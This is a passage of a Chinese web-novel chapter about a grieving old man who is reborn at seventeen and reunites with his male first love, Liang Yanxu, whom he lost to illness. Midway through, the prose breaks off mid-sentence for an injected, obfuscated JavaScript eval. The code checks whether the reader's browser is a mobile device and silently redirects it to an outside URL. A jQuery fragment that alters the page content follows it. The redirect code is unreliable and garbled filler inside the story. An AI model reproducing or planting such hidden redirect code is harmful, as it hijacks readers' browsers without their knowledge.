阳光像细碎的金粉，穿过梧桐叶的缝隙，在周原布满沟壑的脸上，投下明明暗暗、晃动的光斑。他窝在门前藤椅里，指腹反复摩挲掌心那张泛黄照片，边角被岁月啃噬得卷了毛边，像段褪色的旧时光。
照片里，两个少年并肩立在老槐树下，同款白衬衫被风掀得轻晃，笑得小虎牙都跑出来，身后阳光亮得要流淌下来——那是十七岁的他，和梁言许。
“周爷爷！”清脆童音撞碎午后静谧，邻居小葫芦抱着皮球扑过来，圆脸蛋沾着草屑，活像只撒欢的小兽，“我妈让还打气筒！”
周原迟缓抬眼，浑浊目光定在孩子脸上半晌，才慢悠悠笑：“放桌上，乖。”声音像浸了沙的旧棉絮，沙沙糙糙。
小葫芦却黏上来，踮脚瞅照片：“这俩大哥哥谁呀？好看得像双胞胎！”
“是……爷爷和爷爷的爱人。”周原喉结滚了滚，“爱人”二字轻得像羽毛，怕惊碎了藏在时光里的旧梦。
“爱人要结婚的呀！可他们都是男的！”小葫芦歪头，手指卷着衣角打卷。
周原把照片往怀里按了按，指尖停在梁言许笑脸上：“男的也能结婚，就像树少了半边枝桠，活不完整。”话音落，老槐树影在他脸上晃，把孤寂晃成了具象。
小葫芦懵懵懂懂点头，要再问，远处呵斥声炸雷似的响：“小葫芦！别往这跑！”
女人冲过来拽孩子，看周原的眼神，像看沾了灰的脏抹布。小葫芦挣扎着回头：“妈，周爷爷说男的也能……”
“住嘴！”女人厉声截断，拽着孩子就走，碎碎念钻进周原耳朵：“老不正经……”
拖拽声渐远，周原望着空院门，把照片贴在胸口。风卷着落叶滚过脚边，他咳了两声，铁锈味从喉咙里漫上来——人老了，连咳嗽都带着腐朽气，像棵快枯的树。
“言许啊……”他对着空气喃喃，指尖摩挲照片上梁言许的笑脸，“要是当年勇敢些……”后半句被风扯碎，散在暮色里。
他独居的小院，四季轮回得格外用力。春末槐花漫院时，他摘最香的串，供在梁言许牌位前；夏夜蝉鸣吵嚷，他坐藤椅到后半夜，恍惚能听见十七岁的梁言许趴在窗台喊：“周原！看星星！”；深秋扫落叶，把金黄叶子夹进旧相册——那是梁言许最爱的季节；冬天下雪，他清出条小路，像当年天不亮就去学校，给梁言许扫出通往教室的路。
年三十晚上，镇子被烟花映成白昼。周原坐在冷掉的年夜饭前，摆着两副碗筷。春晚唱着团圆，他盯着对面空椅出神，想起很多年前除夕，梁言许偷跑出来，揣着热乎肉包，在他被窝里冻得直哆嗦，却笑：“周原，有你才像过年。”
“言许啊……”他倒杯白酒洒地上，“我来找你了……”泪水砸在照片上，晕开小团水渍，像谁无声的哭。
再睁眼时，消毒水味儿刺得他皱眉。眼前是穿蓝白校服的少年，拿棉签往他胳膊涂碘伏，阳光从发梢漏下，在手背投碎金似的光斑。
“别动！结痂又蹭掉！”少年声音清清爽爽，带着少年人特有的脆亮。
周原心脏猛地一缩——是梁言许！十七岁的梁言许，没被病痛磨平棱角，眉梢眼角都是鲜活的、带刺的锐气。他本能攥住对方手腕，指节泛白，像抓住要溜走的光。
“言许……”他声音发颤，眼泪哗地涌出来，把年少时没敢流的、年老后咽下去的，全倒了出来。
梁言许吓一跳，棉签“啪嗒”掉地：“发什么疯！”要抽手，却被攥得更紧，只好无奈叹气，“涂个药至于哭？”
周原这才惊觉自己的手——骨节分明，皮肤光滑，没有老年斑、皱纹，年轻得能掐出水。低头看胳膊，伤口是昨天打球摔的，结痂还泛着红。
他回到了几十年前，梁言许还在，健康、鲜活，会跟他拌嘴，会在他生命里蹦跶。
“对不住……”周原猛地松手，指尖发麻，别过脸用袖子抹脸，喉咙紧得说不出话，像塞了团浸了水的棉花。
梁言许狐疑打量：“被球砸坏脑子了？”弯腰捡棉签扔垃圾桶，抽根新的，“自己涂吧，我上课去。”转身要走。
周原看着那道白衬衫背影，脱口喊：“等等！”
梁言许回头，挑眉。
周原心跳得要炸开，攥紧衣角：“晚上……一起吃饭？有家店土豆泥丸子特好吃。”声音抖得像秋风里的叶子。
梁言许愣了愣，嗤笑：“你啥时候这么好心？”顿了顿，却点头，“放学老地方见。”
医务室门合上，周原望着门板上少年影子，捂住脸笑，眼泪从指缝钻出来，滚烫。低头看掌心浅浅疤痕——当年替梁言许挡黑板擦留的，原来有些印记，刻在骨头上，多少年都消不掉。
他摸出手机，屏幕显示几十年前日期。点开备忘录，飞快敲下：带言许体检。
阳光斜照进来，在他年轻的脸镀金边。这一次，他要攥紧时光，不让任何人溜走。
抓起椅背上校服外套，周原脚步轻快冲出医务室。走廊里少年喧闹声像涨潮的海，他穿过人群，目光定在楼梯口——梁言许身影刚拐过转角，白衬衫衣角在风里轻扬，像朵要飘起来的云。
“言许！”他喊，带着笑，带着失而复得的珍重，声音撞在走廊墙上，弹成欢快的歌。
这一次，他要跑赢时间，把错过的、遗憾的，都攥进手心。
周原的脚步在楼梯上拖沓得厉害，每一步都碾在记忆碎片上，咯得脚心发酸。掌心沁出薄汗，把校服下摆攥出深深浅浅的褶皱，走廊里的喧闹漏进门缝，混着粉笔末的涩味——这是他记了大半辈子的、十七岁的味道，此刻却像根细针，一下下戳着心脏。
教室门虚掩，推开门的瞬间，目光像被磁石狠狠吸住，钉死在靠窗位置。梁言许低头刷题，阳光顺着他微垂的眼睫滑下来，在练习册上拓出一小片扇形阴影，安静又鲜活。旁边空位的桌角，刻着个歪扭“许”字，是当年梁言许走神时，拿圆规尖偷偷刻的，那会儿粉笔灰落在他发梢，他都没察觉。
“站门口当门神？”梁言许头也不抬，笔尖在纸上划出沙沙声，跟记忆里一模一样。
周原喉头发紧，慢吞吞挪到空位坐下，塑料椅吱呀轻响。他盯着梁言许握笔的手——骨节分明，指甲修得干净，不像后来被化疗啃成枯柴，起皮的纹路里嵌着洗不净的药味。
“看什么？”梁言许终于抬眼，熟悉的清亮眼神撞过来，“药涂歪了？”伸手要掀他袖子，却被周原猛地攥住手腕。
周原指腹滚烫，带着种颤抖的、近乎虔诚的力道。梁言许愣了愣，想抽手，就听他哑着嗓子说：“没歪，涂得挺好。”掌心相触的瞬间，电流窜过四肢，周原猛地松手，耳尖红得要滴血，低头盯着鞋尖，听见梁言许轻嗤：“神经病。”却瞥见他转身时，悄悄把椅子往自己这边挪了挪，椅腿蹭过地砖，发出极轻的“吱”声。
教室里渐渐静下来，夕阳把两人影子抻得老长，在地面交叠成一团模糊的墨。周原趴在桌上，看梁言许刷题的侧脸——他皱眉会习惯性咬下唇，解出难题时，嘴角会偷偷翘一下，像藏着颗甜葡萄。这些细微表情，在后来模糊的记忆里，曾是他对抗孤独的唯一光源，把漫漫长夜烫出一个个小洞。
“喂，”他忽然开口，“你信不信……人能回到过去？”
梁言许笔下一顿，转过来：“科幻片看多了？”从笔袋摸出根橘子味棒棒糖，剥开糖纸塞进他嘴里，“昨天打球撞坏脑子了？”
甜腻在舌尖炸开，周原含着糖含糊说：“我是说，如果能重来……”
“重来什么？”梁言许转着笔，笔杆在指间灵活打转，“重来一次你还把球传给隔壁班卧底？”
周原没笑，定定看着他，看了好久，久到梁言许都不自在了，才听见他轻声说：“重来一次，我会早点找到你。”
窗外麻雀扑棱棱飞走，梁言许耳尖悄悄红了，转回去闷声：“莫名其妙。”笔却在草稿纸上，无意识画了两个挨得紧紧的小人，脑袋碰脑袋，像在说悄悄话。
放学铃响，梁言许收拾书包的动作顿了顿：“去吃火锅？校门口新开的，鸳鸯锅。”
周原猛地抬头，眼里的光差点溢出来。他记得这家店，后来梁言许总说，那天番茄汤底甜得发腻，却暖得胃里像揣了小太阳。可再后来，店关了，梁言许瘦得只剩一把骨头，躺在病房里说“想吃”时，连说话的力气都要抠搜着用。
冷风卷着雪籽扑过来，梁言许缩脖子，周原几乎本能地解下围巾，不由分说往他脖子上绕两圈。灰色围巾把梁言许半张脸埋进去，只剩双亮晶晶的眼睛：“你不冷？”
“我火力旺。”周原攥住他露在外面的手，指尖冰凉，却握得死紧，像握住了要飘走的风筝线。
火锅店热气糊了眼镜，梁言许摘眼镜擦雾时，周原正盯着他发红的耳朵发呆。直到一片烫好的牛肉递到嘴边，才回过神，张口咬住时，不小心碰到梁言许指尖，两人都像被烫到似的缩回手，又不约而同笑起来，像两个做坏事被抓包的孩子。
“你慢点吃，没人抢。”梁言许声音有点抖，耳根红得要滴血，却把刚烫好的毛肚往他碗里堆。
周原嚼着牛肉，忽然想起很多年后，守在病房里，梁言许瘦得肋骨根根分明，吞咽都费劲，却还笑着说“想吃那家鸳鸯锅”。
可那时，店早关了，连锅底的香气，都成了回忆里抓不住的雾。
“我去拿饮料。”周原站起身，走到冰柜前却没开门。摸了摸口袋里的烟盒——重生前揣的最后一包，他盯着那包烟看了很久，烟盒上的折痕，还留着当年梁言许说“我不喜欢你抽烟”时，指尖捏出来的印子。转身扔进垃圾桶时，金属撞击声里，他听见自己轻轻说：“这次，不让你失望了。”
回去时，手里多了两瓶温热的牛奶。梁言许挑眉：“转性了？不喝可乐了？”
“碳酸饮料不好。”周原拧开瓶盖递过去，“对骨头不好。”
梁言许接过牛奶的手顿了顿，忽然笑：“周原，你今天真的很奇怪。”仰头喝了一大口，喉结滚动的弧度在灯光下格外清晰，“不过……”舔了舔唇角奶渍，“比平时顺眼点。”
周原的心像被煮沸的火锅汤，咕嘟咕嘟冒泡。看着梁言许被热气熏红的脸颊，在心里悄悄说：言许，这次我一定看好你，一分一秒都不松开，把错过的、弄丢的，全攥回来。
窗外雪下大了，店里暖气裹着牛油香漫过来。梁言许正低头跟一片肥牛较劲，没注意到对面的周原，悄悄把他手机屏保，换成了两人刚才在门口拍的合照——梁言许皱着眉躲镜头，周原笑得露出小虎牙，背景里飘着细碎的雪花，像撒了把白糖。
火锅汤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340949|183444||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在锅里咕嘟冒泡，梁言许放下筷子，指尖蹭过发烫的耳垂：“我去买单。”
周原几乎条件反射地拽住他手腕，掌心温度烫得梁言许微微一颤。“我来。”声音发紧，像怕慢一秒人就会跑掉，起身时带倒椅腿，哐当一声响，在喧闹里炸开。
梁言许看着他急慌慌冲向收银台的背影，忍不住弯了弯唇角。这人今天总透着股执拗，却奇异地让人安心，像棵拼命往土里扎根的树。
周原回来时，手里攥着找零，指缝里夹着根糖葫芦，红彤彤的糖衣在灯光下泛着光。“给。”往梁言许手里塞，耳根还红着，“刚才路过看见的。”
梁言许咬了口，山楂的酸混着糖衣的甜在舌尖炸开，眯起眼睛笑：“你怎么知道我爱吃这个？”
“猜的。”周原看着他嘴角沾着的糖渣，喉结滚了滚，伸手想擦，指尖快碰到时又猛地缩回来，假装挠了挠脸，却在转身时，把那点甜，偷偷藏进了眼睛里。
回校路上，梁言许解围巾时，绒毛扫过周原手背，像羽毛轻轻搔。“我回宿舍洗澡了。”他把围巾递过去，指尖不经意擦过对方掌心，烫得像揣了颗小太阳，“上来吧，正好帮我拿瓶沐浴露。”
宿舍楼道飘着洗衣粉的香味，周原跟在梁言许身后，看他校服外套下摆扫过台阶，忽然想起很多年后，也是这样跟在轮椅后面，看梁言许的病号服被风吹得猎猎作响，像面苍白的旗。
“发什么呆？”梁言许推开门，转身时差点撞上他，“进来啊。”
宿舍还是老样子，梁言许上铺挂着蓝白条纹床帘，周原下铺枕头边，堆着几本卷边的篮球杂志。梁言许脱了外套随手扔在床上，转身进浴室：“等我叫你拿浴巾。”
水声哗哗响起时，周原坐在床边，手指抚过床单褶皱。他记得这条床单，后来被梁言许的血染红过，洗了无数遍，那片暗沉的印记，像块褪不去的疤，在记忆里越挠越痒。
“周原！浴巾！”
猛地回神，抓起搭在椅背上的浴巾，走到浴室门口时，门没关严，留着道缝。水汽从缝里漫出来，混着沐浴露的清香，他刚要开口，视线透过缝隙，撞进一双湿漉漉的眼睛里。
梁言许正仰头冲头发，水珠顺着脖颈滑进锁骨窝，皮肤在水汽里泛着瓷白的光，像尊被雨打湿的瓷像。周原呼吸瞬间卡壳，血液像被煮沸，往头顶疯涌，手忙脚乱推开门缝，把浴巾往挂钩上一挂，转身就走，耳朵红得要滴血，脚步踉跄得像踩在云上。
浴室门轻轻合上，里面传来梁言许低低的笑声，像阵挠人的风，从门缝里溜出来，挠得人心尖发痒。
等梁言许裹着浴巾出来，周原正背对着门口，肩膀绷得笔直，像块要开裂的门板。“偷看够了？”梁言许故意逗他，擦头发的毛巾往他头上一盖，“脸怎么这么红？发烧了？”
周原猛地掀开毛巾，撞进对方带着笑意的眼睛里，喉结滚了滚：“没……没看。”声音小得像蚊子哼。
梁言许没拆穿他，弯腰从柜子里翻衣服时，浴巾往下滑了些，露出一小片腰腹，像块晃眼的白瓷片。周原的目光像被烫到，慌慌张张移开，盯着墙面上泛黄的海报，心跳得像要撞碎肋骨，把海报上的篮球明星，都震得跟着晃。
“我睡会儿。”他猛地躺下，用被子蒙住头，听见梁言许在上铺轻笑：“脸皮真薄。”接着是窸窸窣窣换衣声，床板微微晃动，像艘要靠岸的小船。
他数着自己的心跳，数到第一百二十七下时，听见梁言许的声音从上方飘下来：“周原，你冷吗？”
周原一愣，刚要回答，就见梁言许从上铺探下头，头发还湿着，水珠滴在他手背上，凉得像颗小珍珠。“我看你老发抖。”他拍了拍自己的床铺，“上来挤挤？”
周原几乎是连滚带爬地翻上铺，床板发出不堪重负的吱呀声，像头累坏的老牛。梁言许往里面挪了挪，给他腾出位置，刚想说什么，就被周原从背后紧紧抱住，少年的胸膛贴着他后背，呼吸滚烫地喷在颈窝，带着点糖葫芦的甜气，把整颗心都泡软了。
“我冷。”周原声音闷闷的，手臂收得更紧，像要把人揉进骨血里，把错过的时光，都补回来。
梁言许叹了口气，转过身回抱住他，掌心贴上他后颈：“确实凉。”手指穿过周原的发丝，轻轻摩挲，“睡会儿吧，晚自习叫你。”
周原把脸埋在他颈窝，鼻尖蹭过对方带着水汽的皮肤，沐浴露的清香里混着点淡淡的奶香，像小时候偷喝的牛奶，甜得让人想哭。他闭上眼睛，感受着怀中人温热的体温，像抱住了失而复得的整个世界，这次，再也不松手。
“言许。”他轻声唤，声音里带着点后怕的颤抖，像在求证一个不敢信的梦。
“嗯？”梁言许的声音像浸了蜜，黏糊糊的。
“别离开我。”周原把脸埋得更深，像只躲在壳里的蜗牛。
梁言许的动作顿了顿，随即轻笑出声，指尖轻轻敲了敲他的背：“睡你的吧，小傻子。”却悄悄收紧手臂，把他抱得更紧，像抱住了自己的全世界。
窗外的夕阳漫进床帘，把两人交叠的影子投在墙壁上，像幅模糊却温暖的老照片。周原闻着怀中人的气息，渐渐沉入梦乡，这一次，梦里没有消毒水的味道，没有病房里惨白的灯，只有少年带着笑意的眼睛，和永远不会褪色的、十七岁的阳光。